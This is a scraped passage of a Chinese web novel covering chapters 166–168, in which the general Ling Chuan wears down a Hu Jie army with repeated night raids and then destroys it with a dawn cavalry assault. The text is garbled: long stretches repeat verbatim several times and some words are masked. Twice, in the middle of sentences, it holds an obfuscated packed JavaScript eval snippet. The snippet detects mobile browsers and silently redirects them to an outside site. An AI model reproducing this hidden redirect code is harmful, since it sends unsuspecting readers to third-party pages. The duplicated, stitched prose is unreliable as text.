看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 ”凌川喊了一声。 “到!” “把耶律公子带下去好生伺候,千万别饿瘦了!”凌川交代道。 “是!” 苍蝇让两名亲兵直接把耶律蓝图给带了下去。 凌川来到城墙之上,看着城外一片混乱的胡羯大军,他嘴角勾起一抹得意的冷笑。 耶律蓝图作为这支军队的主将,竟然在一众将领的眼皮子底下被绑走,这要是传回去,估计所有千夫长都得掉脑袋,整个耶律王族更是成为帝国的笑话,从此再难抬起头来。 失去了耶律蓝图这位主将,城外的两万大军虽不至于瘫痪,但,主将被劫走给他们带来的心理冲击却是巨大的。 “天黑之前,敌军定然会发起猛攻,让大家做好战斗准备!”凌川对校尉黄渠说道。 “大人放心,兄弟们早就摩拳擦掌了!”黄渠兴奋地说道。 “告诉兄弟们,把战刀磨利,回头能砍多少敌军的脑袋,就看他们自己的本事了!”凌川目光紧盯着城外,意味深长地说道。 劫持耶律蓝图只是这个计划的开始,而非结束。 真正的重头戏,还在后面呢! 果然,一个时辰之后,敌军便发起进攻,八千辅兵和民夫推动攻城车冲在最前方,他们的任务只有一个,那就是不计代价将这些攻城车送到城下。 至于过程中会死多少人,那不是千夫长们关心的问题。 毕竟,这些辅兵和民夫基本都是从奴隶部落抽来的,他们的命根本不值钱,说得直白一点,他们就是炮灰。 武定关在陈暻垚的布置下,早已是铁桶一般,十架投石车和数十架床**就足以让敌人损失惨重。 要知道,这些投石车和床**可都是经过凌川改造的,三弓床**的最远射程可达七百多步。 城外的辅兵**一批又一批,遍地尸体、血流成河,面对这些**箭,一般的盾牌就跟纸糊的没啥区别。 半个时辰下来,付出了两千多辅兵和民夫的代价,却只让着十几架攻城车往前推进了不到一百步。 若是照这样下去,哪怕将八千辅兵消耗殆尽,也无法将攻城车推到城下。 毕竟,越是靠近死伤越大,特别是到了城下之后,每前进一步都是用尸体堆出来的,因为那个时候城墙上的弓箭已经能够对下方进行覆盖。 这也是为何各种战斗,属攻城战最难打的原因,历史上,进攻一方出动数倍乃至十倍的兵力,几年都未能攻下一座城池的战例比比皆是。 这也是为何明明大周与胡羯战力上存在悬殊,关外交战胜少败多,却能始终坚守北疆国门的原因。 敌军的这场进攻持续了整整两个时辰,最终丢下四千余辅兵的尸体,却未能将攻城车运至城下,只能无奈撤军。 天色渐晚,凌川下令留一营兵力巡防,其余人吃过饭之后,回营休息。 与此同时,凌川也接到了陈暻垚从阑州传来的情报。 情报上简明扼要地陈述了当前战局,其中,朝天垭的战斗最为惨烈,三日下来,敌军发动了数十次进攻,各种大型攻城器械全都派上了用场。 朝天垭虽占据地利之势,但有了第一次交锋的教训之后,一万重甲军根本不敢贸然出城,只能被动防守。 三日下来,朝天垭兵力损失虽然不大,但防御工事却遭到了很大程度的摧毁,箭、**等远攻器械也消耗极快。 如果持续下去,朝天垭将面临箭矢耗尽,被迫出城迎敌的局面。 看完之后,凌川的内心也不由变得沉重起来,眼下的局势看似己方严防死守,可战局的主动权却一直**羯牢牢掌控,这可不是一个好兆头。 第166章 深夜劫营! 不仅仅是阑州,整个北境七州,都被战火席卷。 朔州的铁鳞城、陵州的老龙口、云州的塔拉草原皆是血战不休,兵戈不止。 此外,靖州、凉州同样未能幸免,厮杀的惨烈程度丝毫不亚于其他几处。 三日下来,节度府帅营灯火通明,卢恽筹更是寸步未离,困了就在椅子上打个盹。 凌川则是舒舒服服睡了一觉,一直到亥时才被叫醒。 城外,胡羯大军已经扎好营帐准备休整,同时,派出流星报马火速前往斡拏城,将这里的情况汇报给元帅府。 尽管已经预料到,主帅得知消息后定会大发雷霆,他们这些千夫长都将受到严厉惩罚,但事关重大,谁也不敢隐瞒。 于他们而言,唯一能够将功补过的机会便是攻破武定关,再不济也要强行施压,让凌川放了主将耶律蓝图。 此时,一众千夫长**在中军大帐之中,一个个心急如焚、坐立不安。 他们这支军队一支由耶律王族的嫡系成员执掌,核心成员大多也都来自耶律王族,耶律蓝图被擒,他们不光是要面临主帅的问责,更要面对王族的责罚。 可他们实在是没想到,凌川竟如此胆大包天,于两军阵前将主帅掳走,这要是换一般人,连想都不敢想。 可凌川不仅这么做了,关键是他还成功了,这找谁说理去? “大家都说说吧,眼下我们该怎么办?”一名年长的千夫长沉声问道。 “唯有攻破武定关,救出公子,否则我等都得掉脑袋!”另一人满脸无奈地回答道。 另一人拿起羊皮囊,往嘴里灌了一口酒,说道:“说得轻巧,武定关的防御力量你们也看到了,三四千辅兵,连五百步都未能靠近,这怎么攻?” “砰!”那年长的千夫长重重一拳砸在地图上,双眼如恶狼一般从众人身上扫过。 “攻不下也得攻,否则,就不只是咱们掉脑袋的问题,我们的族人都得陪葬!” 显然,他在这支军队中颇有威望,随着他开口,其他千夫长都不敢说话。 “呜呜……” 就在此时,帐外传来急促的号角声,这让所有人神色巨变。 “不好,这是敌袭的号声!”一名千夫长惊声说道。 所有人的脑海中同时冒出一个念头——周军劫营! 要是放在之前,他们绝不相信周军敢主动出城,但就在几个时辰前,对方在他们眼皮底下将主将掳走,还有什么是他凌川不敢的? 所有人迅速回营 ,准备迎敌。 然而,周军只是来了一支轻骑,对着他们远远放了几轮火箭,从军营外围一闪而过,没做任何停留。 等他们反应过来的时候,那支轻骑已经回城了。 本以为对方想连夜劫营,不曾想只是虚惊一场,只是烧毁了几座营帐,都没什么人员伤亡。 原本处于休整的大军被惊动,正欲披甲迎敌,结果被告知,敌军只是侵扰,让大家继续休整,准备明日的攻城战。 一个时辰后,大营逐渐安静下来,不少人刚进入梦乡号角声再次响起。 全军再次被惊醒,准备迎敌。 结果,跟之前一样,对方只是派出一支轻骑从帐前掠过,放了几轮火箭便迅速退回去。 接下来,每隔一个时辰,便有一支轻骑前来袭扰。 一开始的时候,胡羯大军也曾想过截杀,奈何对方每次出现的方位都不一样,让他们防不胜防。 好在这支轻骑从始至终都只是袭扰,并未靠近。 接连数次袭扰,虽未给他们造成多大损失,却让大军无法休整,几番折腾下来,早已是疲惫不堪。 连番的挑衅让一众胡羯将领怒不可遏,一个个暗自发誓,明日攻破武定关之后,直接下令屠城,唯有如此方可浇灭心中怒火。 寅时,黎明前的黑暗。 也是人最容易犯困的时候。 被连番侵扰的胡羯军营,再次沉寂下来,鼾声不断。 “呜呜……” 熟悉的号角声再次响起。 很多刚入睡的士兵睁开通红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013986|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的双眼,真恨不得将号兵打死。 这一晚上,敌袭的号角响了一次又一次,每次刚披甲准备出营,又被告知回营继续睡觉,这换做谁都会炸毛。 所以,这一次,各营士兵的响应速度都很慢,甚至很多人带着怨气,也只是翻身坐起,并未着急去披甲。 因为他们心里很清楚,很快就有人来通知,跟之前一样,只是敌军袭扰,大家继续睡觉。 事实上,不光是士兵,很多百夫长乃至千夫长也是如此;哪怕很多人嫌麻烦选择披甲睡觉,也没有立即出营集结。 他们都明白,周军用就是想用这种方式让他们无法修整。 然而,这一次的号角却久久不息,甚至比之前更加急促,这让很多将领都感觉到了不安。 直到四周响起了震天喊杀声,各营士兵才察觉到不对劲。 “杀……” 一声震天大吼撕裂了黎明前的黑暗,一支三千人的重骑兵从武定关方向杀来,此时已近在咫尺。 领兵之人不是别人,正是白天在阵前斩杀雷烈的唐岿然。 三千重骑如滚滚浪潮袭来,直接拍向军营,营帐中,很多士兵还没反应过来,重骑兵便撕裂毡布杀了进来,一杆杆闪烁着冰冷寒芒的**刺入他们的身体之中,滚烫鲜血迸射而出。 三千重骑兵与两万大军相比确实算不上什么,正常情况下,大概率会陷入敌阵之中被围困致死。 但,那只是正常情况下,眼下,天地一片漆黑,胡羯军根本不知道有多少敌人,最主要的是,经过之前的多次袭扰已经让他们疲惫不堪,对于之前的敌袭号声也没当回事,以至于错过了列阵时机。 现在,敌军已经杀入帐中,想要列阵御敌根本不可能,再加上身体的疲惫和内心的恐惧,很快便出现了溃逃现象。 溃逃这种事情就像是瘟疫一般,一旦滋生将迅速蔓延,士兵内心的恐惧也会成倍增长,因为,他们的恐惧不仅仅来自敌军,还有满脸惊慌逃窜的同伴。 “压上去,杀光他们!”唐岿然声如惊雷,手中**直指前方。 第167章 铁蹄踏碎王族大旗! “敌袭,敌袭…… 一声声大喊响彻军帐,急促而低沉的号角声震人心魄。 各营千夫长连忙传令集结兵马御敌,只可惜一切都为时已晚。 借助微弱星光以及那些营帐焚烧的火光,隐约能看到周军重骑如浪潮一般翻滚而来。 各营千夫长神色巨变,面对这种局面,任谁来了,也是无计可施。 直到此时,他们才猛然醒悟,之前周军之所以接连袭营,不仅仅是为了袭扰大军,不让其入睡休整,还有一个更重要的原因,那就是麻痹他们,让他们将这种袭扰视为‘常态’,故而降低警惕。 整整一夜的忙碌,为的就是最后这一击制胜! “这个凌川,不仅勇武过人、胆魄无双,更是运筹帷幄、多谋善断!若不死,将来必是我胡羯帝国的不世大敌! 年长的千夫长乌恩其长叹一声,他知道,这一战他们已经败了,而且是惨败。 别说救出主将耶律蓝图,就这耶律王族的两万大军,能活下来三成都是长生天护佑。 “鸣号,撤离!乌恩其果断下令撤离。 眼下,想要集结队伍与对方厮杀是不可能的,周军也不可能给他们机会,想要保存实力,唯一能做的便是撤离。 “呜呜…… 撤离的号角声响起,各营士兵逃得更快,一些好不容易组建起来的队伍,试图挡住重甲军的冲锋,然而,在撤退的号角声响起之后,也都纷纷转身而逃。 三千重甲军碾压而来,顷刻间便形成燎原之势,面对这种局面,唯有用重甲军以同归于尽之态与之对冲,此外根本没有任何办法阻挡。 耶律王族这两万大军中,确实有两千重甲军,可他们大多都没披甲,战马更是全部集中在马厩,现在让他们上,无异于用血肉之躯对抗钢铁洪流。 由于巩邑夫有伤在身,凌川将他留在了关内守城,他麾下的三千重甲兵连同云岚县带来的三百重甲兵全部由唐岿然率领,直撞敌营。 在重甲兵面前,别说是这些毫无防备,甚至连铠甲都没穿戴的士兵,就算是列队整齐的步兵乃至一般的轻骑都没有丝毫抵抗之力。 “嗤嗤嗤…… 一杆杆**整齐划一,刺—收—刺! 敌军惨叫连连,四处溃逃。 然而,当大批胡羯士兵冲出营帐,前方黑暗中再次传来阵阵马蹄声,宛如来自地狱的催命符。 “杀! 一声冷喝如黑夜中的惊雷,只见两支轻骑自两侧杀来,那些 刚冲出营帐的胡羯士兵还没反应过来,大批箭矢宛如雨点一般倾覆而来,将他们成片射倒。 这两支轻骑分别由黄渠和郑英奇率领,各两千人,相比起唐岿然的重骑兵直撞敌方大营,他们的任务相对就要简单得多,只需在敌军溃逃出营的时候,从两侧堵住他们收割战功即可。 毕竟,此时的敌军已经被吓破了胆,正处于仓皇逃窜的状态,根本不具备任何威胁。 最主要的是此时天色正暗,胡羯军根本不知道他们到底有多少人,这无疑是增加了他们心中的恐惧。 “不要慌,武定关不过一万周军,根本围不住我们,集中阵型冲出去!”一名来自耶律王族的千夫长大喝道。 可惜,此时军心已散,正所谓兵败如山倒,所有胡羯军都处于极度的恐慌之中,他的话根本不管用。 面对混乱如无头苍蝇一般乱窜的胡羯士兵,列队整齐的武定关轻骑只需交替放箭,便可轻易收割战功。 而另一边,黄渠同样遵照凌川的交代如法炮制,面对源源不断从军营中冲出来的胡羯士兵,武定关士兵们连连开弓。 而且,前两排士兵交替将箭壶中的三十支箭空,便快速从两旁撤走,后面队伍立马顶上去,继续开弓。 如此一来,便有效避免了前排士兵臂力不支,以及箭矢射空之后得不到及时补充的弊端。 看似一个细节上的调整,可只有亲眼目睹之后,才会明白,这个细节能发挥的作用有多大。 军营两侧是尸体堆积如山,鲜血更是浸透了大片草地,这已经不能称之为战斗,而是单方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013987|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的**。 与此同时,三千重甲军已经杀穿了半座大营,此时,已经来到中军大帐跟前。 只不过,那里早已是人去帐空,唯有那杆苍狼泣月旗在上空呜咽作响。 唐岿然二话不说,直接一枪扫出,那手臂粗的旗杆应声而断,苍狼泣月旗掉落在地上,被血水染红,被马蹄踏碎。 随着大旗倒下,耶律王族的图腾,无数王族子弟引以为傲的信仰,在这一刻彻底崩塌。 兵败如山倒,此时耶律王族这两万大军如丧家之犬,面对后方穷追不舍的重甲军,他们的内心早已崩溃。 或许,在此之前,他们做梦也想不到,会有这么一天,堂堂耶律王族的军团,竟然被周军如割麦锄草一般,无情地收割性命。 半个时辰之后,唐岿然彻底将敌军营帐杀穿,这一路碾压过来,被他们斩杀和死在重甲铁蹄之下的胡羯士兵少说也有两三千人。 但,他们真正的作用是,一鼓作气冲散敌军阵营,让他们仓皇而逃。 事实上,也正是因为如此,才给守在两侧那两支轻骑制造了机会,让他们守株待兔,毫不费力便收割了数千敌军的性命。 此时,耶律王族这片军营已经是一片狼藉,见两侧有周军阻拦,他们只能朝着北面撤离。 两侧轻骑见状,立马追了上去,将那支残军死死咬住。 这只胡羯残兵大多都没有坐骑,两支周军轻骑完全可以将其围堵,但,他们却并没有这么做,而是一直吊在后方,用弓箭射杀队伍后面的胡羯士兵。 这自然也是凌川刻意强调的。 一路上,不断有胡羯士兵被射倒,一口气追了两三里,那些胡羯士兵的速度明显放慢,而等待他们的便是死亡。 如今,两万大军便只剩下这支仓皇逃亡的队伍,约莫四千余人,而且,随着时间的推移,人数还在快速减少。 领头之人不是别人,正是乌恩其。 尽管他知道,今日多半逃不掉,但他还是不甘心将王族的子弟折在这儿,哪怕是拼尽全力,也要带他们逃出生天。 第168章 再续不败战绩! 乌恩其很清楚,周军之所以没有将他们围而歼之,是避免他们做困兽之斗。 像这样远远吊在后面,一点点收割他们的有生力量,就像是一把钝刀子在割肉,照此下去,用不了多久,这四千多人将彻底**光。 期间,乌恩其多次让人组织队伍,试图挡住这两支骑兵,为队伍撤离赢得时间。 然而,他们这支残军早已被吓破胆,根本挡不住士气正盛的周军,不消片刻,那些留下来断后的胡羯士兵便被**殆尽,周军轻骑很快就追了上来。 乌恩其知道,为今之计,唯一能救他们的,只有朝天垭的三万大军。 他果断带着队伍往西面的朝天垭方向而去,此地距离朝天垭不过三十里,那是他们唯一的希望。 然而,即便知道他们调转方向朝着朝天垭方向而去,后方那两支骑兵依旧是一左一右跟随,并没有要上前截杀,或者是逼迫他们改道的意思。 这让乌恩其很是疑惑,终于,在五里处他们找到了答案! 此时,东方已经泛白,只见一片黑影出现在前方,宛如一堵钢铁墙壁,挡住了他们的去路。 领头一骑大喊道:“诸位,凌川在此等候多时了!” 听闻此言,所有人再度惊慌失措,凌川二字宛如恶魔一般冲击着所有人的耳膜,更是在瞬间撕裂了他们心底的最后一道防线。 “啊……凌川!”无数士兵声音颤抖,整个人更是站立不稳,也不知是吓的,还是累的。 乌恩其眼眸中也涌现出深深的绝望。 难怪后方两支骑兵没有阻止,原来凌川早就算准了一切,事先布下天罗地网,等着他们自己钻进来。 “箭!” 随着凌川一声令下,身后一千二百云岚军纷纷举起破甲弓,大片箭雨飞射而来,将他们覆盖。 在一片惨叫声后,又是成百上千人倒下。 “刀!” 凌川再次大喝一声,所有人收起破甲弓,纷纷拔出腰间的苍生刀。 “杀!” 一个杀字宛如黎明的惊雷,千道寒光凝聚着无尽杀意席卷而出。 凌川亲自带着云岚军四标轻骑杀了上来。 与此同时,后方两侧的那两支轻骑也同时杀到。 在一片**声、惨叫声以及求饶声中,这片草原大地终于迎来了新一天的太阳,只可惜,两万胡羯大军再也见不到清晨的第一缕阳光了。 武定关外,胡羯军营一片狼藉,尸横遍野,血流成河。 那面残 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 只不过,这种念头只能埋在心里,没有人会说出来,更没有人敢说出来。 很快,各营打扫完战场,纷纷返回关内。 “大人,此战太爽了,兄弟们刀都砍卷刃了!” “哈哈,大人你是没看到我营里那些个臭小子,睡着了还在拉弦开弓呢!” 历经大战,虽然众人都身心疲惫,但所有人的脸上都写满了激动的笑容。 这么多年来,他们就没打过这么酣畅淋漓的仗,以往,要么是**羯人追着狼狈逃跑,要么是被人家堵在家门口被动防守,都是血气方刚的边军汉子,谁能受得了这憋屈气? 然而,这一战,凌川却让他们将心中的恶气一扫而空。 武定关平时只有五千兵力,眼下时逢大战才进行增兵,其中更是派来三千重甲兵,凑足一万兵力。 但,此次出战的,只有七千兵力,外加凌川带来的一千五百云岚军,也就八千多兵力,却将两万敌军杀得片甲不留。 最主要是,这一次他们是主动出战,而非被动防守,这对于士兵们来说,内心的感受是完全不一样的。 “大人,这次咱们是真的发财了,兵甲、粮草足足拉了几百车,还有足足八千匹战马!”黄渠高兴得嘴都咧到耳根子了。 凌川笑道:“估计饭也做好了,让兄弟们吃饱之后,好好睡一觉!” 与此同时,凌川写下两封战报,一封传到阑州刺史府,一封传到漠北节度府。 他心里很清楚,就阑州战局而言,武定关这场胜利绝对是大胜,已经让胜利的天平产生倾斜。 但,若是将目光放在整个北疆战线,这场胜利算不了什么,甚至,将之前是铁鳞城那场大捷以及曳敕滩的胜利加在一起,也不足以左右这场国战的胜负。 当然,也并非没有丝毫影响,至少让大周的胜算增加了一分。 如果说,现在是五五开的话,那么开战之前,便是四六开。 武定关全军休整,而凌川则是独自一人站在节堂的沙盘跟前,目光来回挪动,也不知在想些什么。 中途,苍蝇送来一些饭菜,外加一壶酒,随后便悄悄退了出去。 破的苍狼泣月旗被踩入血泥之中,再无往日的霸道雄风。 此战,大获全胜,凌川再一次用他的谋略与布局书写了属于他的不败神话。 如果说,此前很多阑州军对于凌川的战绩都仅限于传言,那么这一次算是亲眼目睹了。 白天,凌川单骑出城于阵前与耶律蓝图见面,以及之后答应耶律蓝图阵前比武定输赢,都让人觉得他太年轻,过于莽撞。 殊不知,那个时候他已经开始布局。 先是阵前掳走敌军主帅,然后再深夜袭营麻痹敌军,最后于天亮之前发起总攻,一举将这两万敌军杀得片甲不留。 一环扣一环,每个细节都堪称滴水不漏,如果将整个计划的每一步拆开,都算不得多高明,可将这些全部连在一起再看,着实令人咋舌。 原来,从一开始,凌川的脑海中便已经有了完整的计划,只是自己鼠目寸光,猜不到,也看不透而已。 斩杀耶律王族两万敌军,己方只战死三百余人,五百余人受伤,武定关一众校尉听到这个结果,只感觉不可思议。 霎时间,这个仅有十六岁的少年,在他们心目中的形象猛然拔高,无论是普通士卒还是一众校尉,看向凌川的目光中都充满了敬意。 恍惚间,他们似乎看到一颗璀璨将星在冉冉升起,不出几年,这少年定会成为一位不世名将。 甚至有人在心中假设,若是凌川执掌整个北系军,会不会重振大周边军的雄风,将胡羯人打得抬不起头来? 